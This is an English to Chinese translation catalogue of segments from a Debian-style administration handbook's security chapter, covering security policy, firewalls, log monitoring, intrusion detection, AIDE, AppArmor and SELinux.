0 - en to zh-CN translation catalogue (240 entries)

en: Firewall
zh-CN: 防火墙

en: Security
zh-CN: 安全

en: An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.
zh-CN: 一个信息系统根据其使用环境的不同可能具有不同等级的重要性。某些情况下，对公司性命攸关。因此，必须保护其免受各种风险。评估这些风险，定义并执行保护措施总称为“安全过程”。

en: Defining a Security Policy
zh-CN: 定义安全策略

en: <emphasis>CAUTION</emphasis> Scope of this chapter
zh-CN: <emphasis>注意</emphasis> 本章所涉及范围

en: The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.
zh-CN: “安全”是一个涵盖很宽泛的概念，工具和方法，没有哪个是万用的。在其中做出选择，需要确切的知道你的目标是什么。保护系统从回答几个问题开始。急匆匆的实施随机的工具会把安全风险转移到错误的方向。

en: The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:
zh-CN: 因此，首要的事情是确定目标。从下面的问题开始，是逐渐确定目标的好方法：

en: <emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data.
zh-CN: <emphasis>什么</emphasis> 是要保护的？要保护计算机还是要保护数据，其策略是不同的。如果是后者，还要知道保护哪些数据。

en: What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?
zh-CN: 我们试图<emphasis>防止</emphasis>什么？机密数据泄露？意外数据丢失？服务中断而导致的收入损失？

en: Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group.
zh-CN: 同样，试图防止<emphasis>谁</emphasis>？防范正常用户的输入和防止有预谋的攻击者，其安全措施是大不相同的。

en: The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.
zh-CN: 术语“风险”通常用来涉及这三个因素的综合：保护什么，防止发生什么，谁会让它发生。三个问题的答案就塑造了风险。针对这种风险模型，就可以构建安全策略，并通过具体行动实施策略。

en: <emphasis>NOTE</emphasis> Permanent questioning
zh-CN: <emphasis>注意</emphasis> 永久质疑

en: Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.
zh-CN: Bruce Schneier，是一个安全事务（不仅仅是计算机安全）方面的世界级专家，曾将安全最重要神秘的面纱概括为一句箴言：“安全是一个过程，而非产品”。需要保护的东西会随着时间而改变。威胁和对付潜在攻击者的方法也是如此。即使安全策略被完美的设计和实施，也不应该躺在功劳簿上。引入了新的风险组件，则必须引入相应的对策。

en: Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.
zh-CN: 额外的限制也值得考虑，它们可以限制可用策略的范围。我们想要在多大程度上保护一个系统？这个问题会对实施策略产生重大影响。答案常常仅仅以金钱成本来定义，但是也应该考虑其他因素，例如强加给系统用户的不便或者性能降低程度。

en: Once the risk has been modeled, one can start thinking about designing an actual security policy.
zh-CN: 一旦风险成型，就可以考虑开始设计实际的风险策略了。

en: <emphasis>NOTE</emphasis> Extreme policies
zh-CN: <emphasis>注意</emphasis> 极端策略

en: There are cases where the choice of actions required to secure a system is extremely simple.
zh-CN: 某些情况下，保护系统所要做的行动是极其简单的。

en: For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.
zh-CN: 譬如，如果要保护的系统只是一个每天结束时加几个数据的二手电脑，那么不采取特殊措施来保护它也是合理的。系统本身的价值很低。而数据不储存在电脑上，数据的价值几乎没有。渗透到该系统的潜在攻击者只会得到一个笨拙的计算器。保护这样一个系统的成本很可能比破坏导致的成本还要大。

en: At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…
zh-CN: 另一方面，我们想最充分的保护机密数据，超过其他任何考虑。这种情况，一种恰当的做法可能是完全焚毁这些数据（安全删除文件，将硬盘粉碎成位元，然后将这些位元溶解到酸中，等等）。如果有额外的需求，数据必须存储以便将来使用（虽然不是马上可用），同时要考虑成本因素，那么可以将这些数据存储在白金合金板上，再存到世界山脉下面的防弹沙坑里，每一个都保密并且有重兵把守…

en: In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.
zh-CN: 多数情况下，信息系统可以分割成一致独立的子系统。每个子系统有自身的需求和限制，这样可以单独评估每个风险和设计安全策略。一个需要谨记的原则是简短明晰的周界要比漫长而曲折的前沿容易定义。网络结构也应相应设计：敏感服务应集中在少数几个机器上，而且这些机器只能通过极少数检查点访问；保护这些检查点要比隔离所有敏感机器与外部世界简单。在这些点上，网络过滤器（包括防火墙）的作用就显而易见了。过滤器可以用专门的硬件，但是更为简单和复杂的解决方案是使用软件防火墙，例如在 Linux 内核中集成的。

en: Firewall or Packet Filtering
zh-CN: 防火墙或者包过滤

en: <primary>firewall</primary>
zh-CN: <primary>防火墙</primary>

en: <emphasis>BACK TO BASICS</emphasis> Firewall
zh-CN: <emphasis>回到基础</emphasis> 防火墙

en: <primary>packet</primary><secondary>IP</secondary>
zh-CN: <primary>包</primary><secondary>IP</secondary>

en: A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.
zh-CN: <emphasis>防火墙</emphasis>是计算机设备的一部分，该设备使用硬件和（或者）软件分拣流入和流出的网络数据包（源自或者源于局域网），并且只允许符合预定义条件的包通过。

en: A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.
zh-CN: 防火墙是一个过滤网关，并且只对要通过它的数据包有作用。因此，只有在防火墙是这些数据包的唯一路由器的时候才有效。

en: <emphasis>SPECIFIC CASE</emphasis> Local Firewall
zh-CN: <emphasis>特例</emphasis> 局部防火墙

en: To enable a default firewall in Debian execute:
zh-CN: 要在 Debian 中启用默认防火墙，请执行：

en: nftables Behavior
zh-CN: nftables 行为

en: Application: High-level APIs, including resource sharing, remote file access.
zh-CN: 应用程序：高级 API，包括资源共享、远程文件访问。

en: <primary>chain</primary>
zh-CN: <primary>链（chain）</primary>

en: <emphasis>BACK TO BASICS</emphasis> ICMP
zh-CN: <emphasis>回到基础</emphasis> ICMP

en: For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).
zh-CN: 接收缓冲区是一个小内存区域，用来存储已经从网络到达而内核还未来得及处理的数据。如果该区域满了，新的数据就不能被接收，ICMP 会发出错误信号，这样发送者会减缓传输速率（理想情况下，过段时间就会达到平衡）。

en: <primary>receive buffer</primary>
zh-CN: <primary>接收缓冲区</primary>

en: <primary>buffer</primary><secondary>receive buffer</secondary>
zh-CN: <primary>缓冲区</primary><secondary>接收缓冲区</secondary>

en: Moving from iptables to nftables
zh-CN: 从 iptable 移动到 nftables

en: Syntax of <command>nft</command>
zh-CN: <command>nft</command> 的语法

en: Installing the Rules at Each Boot
zh-CN: 每次启动时加载规则

en: In other cases, the recommended way is to register the configuration script in <literal>up</literal> directive of the <filename>/etc/network/interfaces</filename> file. In the following example, the script is stored under <filename>/usr/local/etc/arrakis.fw</filename>.
zh-CN: 其他情况下，推荐的方法是将配置脚本在 <literal>up</literal> 目录下作为 <filename>/etc/network/interfaces</filename> 文件。在后面的例子中，脚本存储在 <filename>/usr/local/etc/arrakis.fw</filename>。

en: <filename>interfaces</filename> file calling firewall script
zh-CN: <filename>接口（interfaces）</filename> 文件调用防火墙脚本

en: This obviously assumes that you are using <emphasis role="pkg">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.
zh-CN: 以上内容显然假设您正在使用 <emphasis role="pkg">ifupdown</emphasis> 来配置网络接口。如果您正在使用其它工具（例如 <emphasis>NetworkManager</emphasis> 或 <emphasis>systemd-networkd</emphasis>），那么您需要参考他们对应的文档来了解接口被启动后执行脚本的配置方式。

en: Supervision: Prevention, Detection, Deterrence
zh-CN: 监督：预防，检测，威慑

en: <primary>monitoring</primary>
zh-CN: <primary>监视</primary>

en: Monitoring Logs with <command>logcheck</command>
zh-CN: 使用 <command>logcheck</command> 监视日志

en: <primary><command>logcheck</command></primary>
zh-CN: <primary><command>logcheck</command>命令</primary>

en: <primary>monitoring</primary><secondary>log files</secondary>
zh-CN: <primary>监视</primary><secondary>日志文件</secondary>

en: The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis.
zh-CN: <command>logcheck</command> 程序默认每小时监视日志文件。它会把异常日志信息通过邮件发给管理员分析。

en: <command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).
zh-CN: <command>logcheck</command> 可以以三种模式中的一种或几种工作：<emphasis>偏执（paranoid）</emphasis>, <emphasis>服务器（server）</emphasis> 和 <emphasis>工作站（workstation）</emphasis>。第一种模式是<emphasis>非常</emphasis>详细的，应该只限于特殊服务器，例如防火墙。推荐大多数服务器使用第二个（也是默认）模式。最后一个用于工作站，更简明（过滤掉了更多信息）。

en: In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read.
zh-CN: 在三种情况下，<command>logcheck</command> 可以被定制以排除某些信息（取决于安装的服务），除非管理员真想每小时收到一批不感兴趣的邮件。由于信息筛选机制相当复杂，如果碰到问题就需要翻阅 <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename>。

en: The applied rules can be split into several types:
zh-CN: 适用的规则可以分成几种类型：

en: those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);
zh-CN: 被认为是尝试侵入的信息（文件存储在 <filename>/etc/logcheck/cracking.d/</filename> 目录中）；

en: those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);
zh-CN: 取消限制的信息（<filename>/etc/logcheck/cracking.ignore.d/</filename>）；

en: those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);
zh-CN: 被标识为安全警报的信息（<filename>/etc/logcheck/violations.d/</filename>）；

en: those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);
zh-CN: 取消此类标识的信息（<filename>/etc/logcheck/violations.ignore.d/</filename>）；

en: finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>).
zh-CN: 最后是，剩余的信息（可以考虑为<emphasis>系统事件</emphasis>）。

en: <emphasis>CAUTION</emphasis> Ignoring a message
zh-CN: <emphasis>注意</emphasis>忽略信息

en: Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file.
zh-CN: 任何被标识为侵入尝试和安全警报的信息（按照 <filename>/etc/logcheck/violations.d/myfile</filename> 文件中的规则）只能由 <filename>/etc/logcheck/violations.ignore.d/myfile</filename> 或者 <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> 文件中定义的规则忽略。

en: A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.
zh-CN: 系统事件总是会被发送，除非在 <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> 目录中的规则指明某些事件要被忽略。当然，只有相应详细等级等于或大于所选择模式的目录会起作用。

en: Monitoring Activity
zh-CN: 监视行为

en: <primary>monitoring</primary><secondary>activity</secondary>
zh-CN: <primary>监视</primary><secondary>行为</secondary>

en: <primary>activity, monitoring</primary>
zh-CN: <primary>行为，监视</primary>

en: In Real Time
zh-CN: 实时

en: <command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority.
zh-CN: <command>top</command> 是一个可以显示目前正在运行进程的交互工具。默认排序基于处理器的使用量，可以通过 <keycap>P</keycap> 键获取。其他排序方法包括内存使用量（<keycap>M</keycap> 键），总处理器时间（<keycap>T</keycap> 键）和处理器标识（<keycap>N</keycap> 键）。<keycap>k</keycap> 键允许输入进程标识结束进程。<keycap>r</keycap> 键可以 <emphasis>renicing</emphasis> 进程，例如改变优先级。

en: <command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.
zh-CN: <command>top</command> 是一个很灵活的工具，手册页中详列了如何定制显示并让其适于个人需求和习惯。

en: The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features.
zh-CN: <command>gnome-system-monitor</command> 图形工具和 <command>top</command> 类似，并提供大体上相同的特性。

en: History
zh-CN: 历史

en: <primary>activity, history</primary>
zh-CN: <primary>活动，历史</primary>

en: Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.
zh-CN: 处理器负载，网络流量和空闲磁盘空间是一直在变化的信息。记录它们的演变常常可以用来确定电脑是如何使用的。

en: There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.
zh-CN: 有很多专门工具可用于此类任务。很多可以通过 SNMP（<emphasis>简单网络管理协议</emphasis>）获取数据，集中信息。这样的好处之一是可以从非通用计算机，例如专用的网络路由器或者交换机上获取数据。

en: <emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>
zh-CN: <emphasis>选择</emphasis> <command>mrtg</command>

en: <command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.
zh-CN: <command>mrtg</command>（在相似名称的软件包在）是一个较老的工具。尽管有些不足，但是它可以收集历史数据并以图形显示。它包含了一系列脚本用于收集最常用的监视数据，例如：处理器负载，网络流量，网页点击量，等等。

en: The <emphasis role="pkg">mrtg-contrib</emphasis> and <emphasis role="pkg">mrtgutils</emphasis> packages contain example scripts that can be used directly.
zh-CN: <emphasis role="pkg">mrtg-contrib</emphasis> 和 <emphasis role="pkg">mrtgutils</emphasis> 软件包含有可以直接使用的示例脚本。

en: Avoiding Intrusion
zh-CN: 避免入侵

en: <primary>intrusion detection</primary>
zh-CN: <primary>入侵侦测</primary>

en: <filename>fail2ban.conf</filename>. Global configuration (such as logging).
zh-CN: <filename>fail2ban.conf</filename>。全局配置（如日志记录）。

en: Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet.
zh-CN: Fail2Ban 是一种非常简单而有效的方法，可以抵御最常见的暴力攻击，但它无法抵御分布式暴力攻击，即当攻击者使用大量分散在互联网上的计算机时。

en: Detecting Changes
zh-CN: 侦测变化

en: Auditing Packages with <command>dpkg --verify</command>
zh-CN: 用<command>dpkg --verify</command>审计软件包

en: <emphasis>GOING FURTHER</emphasis> Protecting against upstream changes
zh-CN: <emphasis>进阶</emphasis> 防止上游变化

en: <primary>fingerprint</primary>
zh-CN: <primary>指纹</primary>

en: Auditing Packages: <command>debsums</command> and its Limits
zh-CN: 审核软件包：<command>debsums</command> 及其限制

en: Note that this example uses the <command>grep-status</command> command from the <emphasis role="pkg">dctrl-tools</emphasis> package, which is not installed by default.
zh-CN: 注意本例使用 <emphasis role="pkg">dctrl-tools</emphasis> 软件包中的 <command>grep-status</command> 命令，该命令默认情况下没有安装。

en: Monitoring Files: AIDE
zh-CN: 监视文件：AIDE

en: The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email.
zh-CN: AIDE（<emphasis>Advanced Intrusion Detection Environment</emphasis> ）工具可以检查文件完整性，侦测系统之前文件镜像的任何变化。这种影响以数据库（<filename>/var/lib/aide/aide.db</filename>）形式储存，包含了系统上所有文件的相关信息（指纹，权限，时间戳，等等）。该数据库使用 <command>aideinit</command>命令初始化；然后每天（通过 <filename>/etc/cron.daily/aide</filename> 脚本）检查有无任何相关改变。如果探测到变化，AIDE 会将其记入文件（<filename>/var/log/aide/*.log</filename>）并将发现通过邮件发送给管理员。

en: <emphasis>IN PRACTICE</emphasis> Protecting the database
zh-CN: <emphasis>实践</emphasis> 保护数据库

en: Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.
zh-CN: 由于 AIDE 使用本地数据库来比较文件的状态，因此结果的有效性和数据库的有效性直接相关。如果攻击者获得超级用户权限，他就能替换数据库并覆盖其痕迹。一个可能的替代方案就是将参考数据储存在只读媒介上。

en: Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role="pkg">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended.
zh-CN: <filename>/etc/default/aide</filename> 中的很多选项可以用于调整 <emphasis role="pkg">aide</emphasis> 软件包行为。AIDE 配置存储在 <filename>/etc/aide/aide.conf</filename> 和 <filename>/etc/aide/aide.conf.d/</filename>（实际上，这些文件只用于 <command>update-aide.conf</command> 生成 <filename>/var/lib/aide/aide.conf.autogenerated</filename>）。配置指明哪些文件的哪些特性需要检查。譬如，日志文件的内容会有常规更新，只要这些文件的读写权限保持不变，那么就可以忽略这些变化。但是，可执行程序的内容和权限必须是不变的。虽然不是很复杂，但是配置的语法不是很直观，推荐阅读 <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> 手册。

en: A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database.
zh-CN: 新版本的数据库每天生成在 <filename>/var/lib/aide/aide.db.new</filename>；如果所有记录的变化都是合法的，就可以用它替代参考数据库。

en: <emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain
zh-CN: <emphasis>选择</emphasis> Tripwire 和 Samhain

en: Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role="pkg">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.
zh-CN: Tripwire 和 AIDE 非常相似；甚至是配置文件的语法都几乎相同。<emphasis role="pkg">tripwire</emphasis> 所提供的额外特性是签名配置文件机制，这样攻击者就不能将其指向不同版本的参考数据库。

en: <emphasis>QUICK LOOK</emphasis> The <emphasis role="pkg">checksecurity</emphasis> and <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis> packages
zh-CN: <emphasis>速览</emphasis> <emphasis role="pkg">checksecurity</emphasis> 和 <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis> 软件包

en: The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.
zh-CN: 三个软件包中，第一个包含了几个小脚本进行系统上的基础检查（空白口令，新的设置身份文件，等等）并警告管理员。尽管其名为“安全检查”，但是管理员不应该仅仅指望它来确保 Linux 系统安全。

en: The <emphasis role="pkg">chkrootkit</emphasis> and <emphasis role="pkg">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.
zh-CN: <emphasis role="pkg">chkrootkit</emphasis> 和 <emphasis role="pkg">rkhunter</emphasis> 软件包可以搜索系统上安装的潜在 <emphasis>恶意软件（rootkits）</emphasis>。提示，此类软件被设计成掩盖系统已经被攻破，并谨慎的控制机器。检测并不能保证100%可靠，但是他们可以将管理员的注意力吸引到潜在问题上。

en: Detecting Intrusion (IDS/NIDS)
zh-CN: 侦测入侵（IDS/NIDS）

en: <emphasis>BACK TO BASICS</emphasis> Denial of service
zh-CN: <emphasis>回到基础</emphasis> 拒绝服务

en: A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).
zh-CN: “拒绝服务”攻击只有一个目的：让服务不可用。不管是通过查询使服务器过载还是利用缺陷，最终目的都是一样的：服务不再运行。正常用户就会不悦，提供网络服务的实体声誉遭受损失（可能是营收，譬如，使用服务的是一个电子商务网站）。

en: <emphasis>CAUTION</emphasis> Range of action
zh-CN: <emphasis>注意</emphasis> 行动范围

en: <emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>
zh-CN: <emphasis>进阶</emphasis> 与 <command>prelude</command> 集成

en: Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role="pkg">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types.
zh-CN: Prelude 将各种安全信息集中化。它的模块结构包含了服务器（<emphasis role="pkg">prelude-manager</emphasis> 中的<emphasis>管理器</emphasis>）收集由各种类型的 <emphasis>传感器（sensors）</emphasis> 产生的警报信息。

en: Introduction to AppArmor
zh-CN: AppArmor 简介

en: Principles
zh-CN: 原理

en: Enabling AppArmor and managing AppArmor profiles
zh-CN: 启用 AppArmor 和管理 AppArmor 配置文件

en: AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing <command>apt install apparmor apparmor-profiles apparmor-utils</command> with root privileges.
zh-CN: AppArmor 支持已经内置于 Debian 提供的标准内核中。因此，启用 AppArmor 只需以 root 权限执行 <command>apt install apparmor apparmor-profiles apparmor-utils</command> 来安装一些软件包。

en: <emphasis>NOTE</emphasis> More AppArmor profiles
zh-CN: <emphasis>注意</emphasis> 更多的 AppArmor 配置文件

en: Creating a new profile
zh-CN: 创建新的配置文件

en: Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.
zh-CN: 即使创建 AppArmor 配置文件相当容易，但大多数程序没有。本节将向你展示如何通过使用目标程序，让 AppArmor 监视其进行的系统调用及其访问的资源，从头开始创建新配置文件。

en: Introduction to SELinux
zh-CN: SELinux 简介

en: SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.
zh-CN: SELinux （<emphasis>安全增强－Security Enhanced Linux</emphasis>）是一种基于Linux LSM（<emphasis>Linux 安全模块</emphasis>）的<emphasis>强制访问控制</emphasis>系统。实际上，内核在执行系统调用前会询问 SELinux 进程是否获得了执行操作的授权。

en: SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work.
zh-CN: SELinux 使用一套规则－合称为<emphasis>策略</emphasis>－来授权或禁止操作。这些规则较难创建。幸好，有两种标准策略（<emphasis>针对－targeted</emphasis> 和 <emphasis>严格－strict</emphasis>）可以避免大量的配置工作。

en: With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.
zh-CN: 在 SELinux 中，权限的管理完全不同于传统的 Unix 系统。进程的权限取决于它的<emphasis>安全上下文</emphasis>。上下文由唤起该进程的用户<emphasis>身份</emphasis>定义，即该时刻用户具有的<emphasis>角色</emphasis>和<emphasis>域</emphasis>。权限实际上取决于域，但是在域之间转换由角色控制。角色之间的转换取决于身份。

en: Security contexts and Unix users
zh-CN: 安全上下文和 Unix 用户

en: <emphasis>EXTRA</emphasis> Domains and types are equivalent
zh-CN: <emphasis>补充</emphasis>域和类型等效

en: Automatic transitions between domains
zh-CN: 域之间的自动转换

en: <emphasis>IN PRACTICE</emphasis> Finding the security context
zh-CN: <emphasis>实践</emphasis>找到安全上下文

en: <primary>context, security context</primary>
zh-CN: <primary>上下文，安全上下文</primary>

en: To find the current security context in a shell, you should call <command>id -Z</command>.
zh-CN: 要在命令行中显示当前的安全上下文，应当调用 <command>id -Z</command>。

en: To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>.
zh-CN: 要找到指定进程的安全上下文，就要在 <command>ps</command> 命令中使用 <literal>Z</literal> 选项。

en: The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.
zh-CN: 第一个区段包含了身份，角色，域和 MCS 等级，使用冒号分隔。MCS 等级（<emphasis>多类别安全－Multi-Category Security</emphasis>）是一个参数，它会影响保护策略的机密性，进而基于敏感性管制对文件的访问。本书中，此特性将不做详细解释。

en: Finally, to find the type assigned to a file, you can use <command>ls -Z</command>.
zh-CN: 要显示赋予文件的类型，使用 <command>ls -Z</command>。

en: It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.
zh-CN: 注意要将身份和角色赋予不是特别重要的文件（从未使用过），但是为了统一，所有的对象都被赋予完整的安全上下文。

en: Setting Up SELinux
zh-CN: 设置 SELinux

en: SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux.
zh-CN: SELinux 支持嵌入到 Debian 提供的标准内核中。Unix 核心工具无需修改就支持 SELinux。因此，启用 SELinux 也相对容易。

en: Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>.
zh-CN: 一旦策略安装，就要标识全部有效文件（即给它们赋予类型）。该操作必须使用 <command>fixfiles relabel</command> 命令手工启动。

en: It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).
